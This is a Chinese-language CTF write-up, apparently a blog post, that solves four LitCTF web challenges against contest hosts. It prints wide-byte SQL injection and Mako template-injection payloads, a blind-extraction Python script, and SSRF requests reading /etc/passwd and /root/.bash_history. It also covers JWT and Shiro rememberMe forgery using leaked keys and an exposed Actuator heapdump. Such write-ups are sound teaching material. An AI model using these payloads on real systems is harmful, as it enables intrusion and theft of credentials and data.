本文最后更新于 2026年5月24日 下午
被强制培训一天,中午休息时间和eternal半小时闪击了LitCTF
lit_ezsql 一个SQL注入,正常查询的话id=1或id=2能查询出数据,下面我们测试一下闭合
1 2 3 4 5 1 and 1=2 # 1' 1" 1') 1")
常见的几种组合都没有报错,并且能正常返回查询的数据,下面测试一些特殊的组合
这些都返回了id=2的数据,说明对传进去的参数进行了处理,下面我们尝试一下宽字节注入
用sqlmap指定宽字节注入就能注出来
1 sqlmap -u "http://challenge.cyclens.tech:31302/query?id=1" -D ezsql -T flag_store -C flag --dump --tamper=unmagicquotes --delay=0.5
下面介绍一下手注的流程
测试 payload:
1 http://challenge.cyclens.tech:32035/query?id =1%bf%27%20OR%201=1--+
其中:
%bf 是宽字节前导
%27 是单引号 '
后面拼接 OR 1=1--+
返回结果中同时出现了两条记录,这就说明注入成功了,下面就是union拼接依次查库查表查字段查flag了
1 2 3 /query?id=-1%bf%27%20UNION%20SELECT%201,database(),3,4,5--+ /query?id=-1%bf%27%20UNION%20SELECT%201,group_concat(table_name),3,4,5%20FROM%20information_schema.tables%20WHERE%20table_schema=database()--+ /query?id=-1%bf%27%20UNION%20SELECT%201,2,3,4,group_concat(flag)%20FROM%20flag_store--+
lit_ezssti 初步分析 不是常见的jinja引擎,我们进行常规测试
1 2 3 ${7*7} WAF {{7 *7 }} 不渲染 <%= 7*7 %> WAF
两个关键探测都显示WAF,不是jinja和twig,尝试故意制造报错进一步探测
%返回了报错
基本可以判断是mako,它支持% if …:、% for …: 这种控制行语法
返回了OK,确定是mako,下面进行一下单字符fuzz
1 2 3 4 5 6 7 8 9 10 11 12 from time import sleepimport requestsimport urllib url = "http://challenge.cyclens.tech:30191/" for i in range (32 , 127 ): html = chr (i) data = {'tpl' : html} r = requests.post(url=url , data=data) if "WAF" in r.text: print (html)
单字符.=[],${...} <%= ... %>被过滤了
尝试一下open(“/flag”),flag关键词被过滤了,我们拼接绕过
现在确定flag在哪里并且可以打开了,不能直接读,由于单字符的过滤所以外带也不太行,只能盲注了
下面思考点字符被过滤了应该怎么从文件里面截取字符
知识补充 用getattr访问属性
getattr(open("/"+"f"+"l"+"a"+"g"), 'read')()就成了open('/flag').read()的完美平替
用_getitem__截取字符
构造盲注 1 2 3 % if getattr (getattr (open ("/" +"f" +"l" +"a" +"g" ), 'read' )(), '__getitem__' )(0 ) in 'f' : True_Flag % endif
经测试可行,下面写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from time import sleepimport requestsimport urllib url = "http://challenge.cyclens.tech:30191/" str_range = '}{-abcdefghijklmnopqrstuvwxyz0123456789' def getData (str_list ): j = 0 while True : for i in str_list: data={'tpl' :f"""% if getattr(getattr(open("/"+"f"+"l"+"a"+"g"), 'read')(), '__getitem__')({j} ) in '{i} ':\nTrue_Flag\n% endif""" } r = requests.post(url=url , data=data) if """<pre id="out">True_Flag""" in r.text: print (i, end="" ) if i == "}" : print () return 1 break j = j + 1 if __name__ == '__main__' : getData(str_range)
lit_reverse_my_web
提示已经很清楚了,只有admin权限的用户才能访问/flag
先注册一个用户,获取jwt
思路很明确了,去附件里面找secret_key
逆向这部分我不会,用ai找吧
1 secret_key=rMw_2026_litctf_jwt_secret_key!!
伪造admin
Northbridge Document Hub 只能登录没有注册,题目说研究员账号已开放,去源码里寻找
泄露了一个账号和一个路由,登录进去
没什么发现,我们去看看那个路由
1 http:// challenge.cyclens.tech:31440 /kkfileview/g etCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk (file:// /etc/ passwd)
存在ssrf漏洞,但是flag在哪呢?题目提示试着从解析缓存里找到本季度财务归档中的 flag
读取 Bash History
1 http:// challenge.cyclens.tech:31440 /kkfileview/g etCorsFile?urlPath=ZmlsZTovLy9yb290Ly5iYXNoX2hpc3Rvcnk= (file:// /root/ .bash_history)
1 2 3 4 cd /opt/kkfileview/bin ./startup.sh --cache .dir=/opt/kkfileview/cache/parsed java -jar kkFileView.jar --cache .dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip
发现了缓存文件,下载就有flag
华辰企业服务运营平台 不会java这里贴一个ai的wp
一、信息收集 访问首页可以确认这是一个基于 Java 的客服工单系统,公开页面比较干净,前端只暴露了少量接口:
/api/public/banner
/api/public/news
/api/auth/login
继续对常见运维路径做探测后,发现 Spring Boot Actuator 被未授权开放:
/actuator
/actuator/env
/actuator/beans
/actuator/mappings
/actuator/heapdump
这已经是非常危险的信息泄露面,基本可以直接转入服务端配置和内存分析。
二、接口枚举 通过 /actuator/mappings 可以直接拿到完整路由,除了前台接口外,还能看到隐藏管理接口:
/api/admin/system/summary
/api/admin/system/export
/api/admin/audit/list
/api/admin/ops/reports
/api/internal/feature-flags
/api/ticket/list
/api/workflow/list
说明题目里提到的“运维与调试能力”确实还在,而且很多不是前端可见接口。
三、内存分析 1. 直接读取环境变量 flag 先访问:
返回:
1 { "property" : { "source" : "systemEnvironment" , "value" : "flag{ohqkysxu-o0rs-463-8ygw-hfronlxc3eoe7}" } }
这一步已经可以直接得到完整 flag。
不过题目要求“完成权限突破并还原完整 flag”,所以继续补完整利用链。
2. 从 heapdump 提取账号与鉴权信息 下载:
随后分析堆中的对象,可以定位到:
com.gzctf.lab.config.ShiroConfig
com.gzctf.lab.config.LabRealm
org.apache.shiro.web.mgt.CookieRememberMeManager
com.gzctf.lab.service.LabFlagService
在 LabRealm 中拿到系统内置用户:
admin -> A9r#Qv3!Lm7@Tp2$Xz5&Nk8*Hs4^Wc1
user -> user123
在 CookieRememberMeManager 中拿到 rememberMe 密钥字节:
1 47 5a 43 54 46 53 68 69 72 6f 47 43 4d 4b 65 79
转成 ASCII 为:
Base64 为:
1 R1pDVEZTaGlyb0dDTUtleQ==
同时还能拿到 realm 名:
1 com.gzctf.lab.config.LabRealm_0
四、权限突破 路线 1:伪造 rememberMe 因为题目使用 Apache Shiro,可以利用泄露的 rememberMe 密钥伪造身份 cookie。伪造后访问:
可以得到:
1 { "authenticated" : true , "user" : "admin" , "roles" : [ "user" , "ops" , "admin" ] }
说明我们已经完成了基于 rememberMe 的身份伪造。
不过该系统的部分管理接口不仅要求“记住身份”,还要求完整登录态,所以继续走真实登录。
路线 2:使用泄露的 admin 凭据登录 向 /api/auth/login 发送:
1 2 3 4 5 { "username" : "admin" , "password" : "A9r#Qv3!Lm7@Tp2$Xz5&Nk8*Hs4^Wc1" , "rememberMe" : true }
返回:
1 { "ok" : true , "msg" : "登录成功" , "user" : "admin" , "roles" : [ "user" , "ops" , "admin" ] }
随后成功访问:
/api/admin/system/summary
/api/admin/ops/reports
/api/admin/audit/list
其中 /api/admin/audit/list 返回:
1 2 3 4 5 6 7 8 { "source" : "audit-service" , "items" : [ { "id" : "AR-8301" , "detail" : "登录异地告警已人工复核为误报" } , { "id" : "AR-8302" , "detail" : "数据库结构变更任务延后执行" } , { "id" : "AR-8303" , "detail" : "历史归档备注: 3-8ygw-hfronlxc3eoe7}" } ] }
这里能看到 flag 的尾段也被埋在后台审计备注里,和服务器环境变量中的完整值相互印证。
参考文献 深入浅出带你学习宽字节注入宽字节注入是SQL注入中常见的注入方式,利用数据库的编码转换错误来进行注入绕过,本文带大家了解 - 掘金
Mako模板引擎以及沙箱机制-先知社区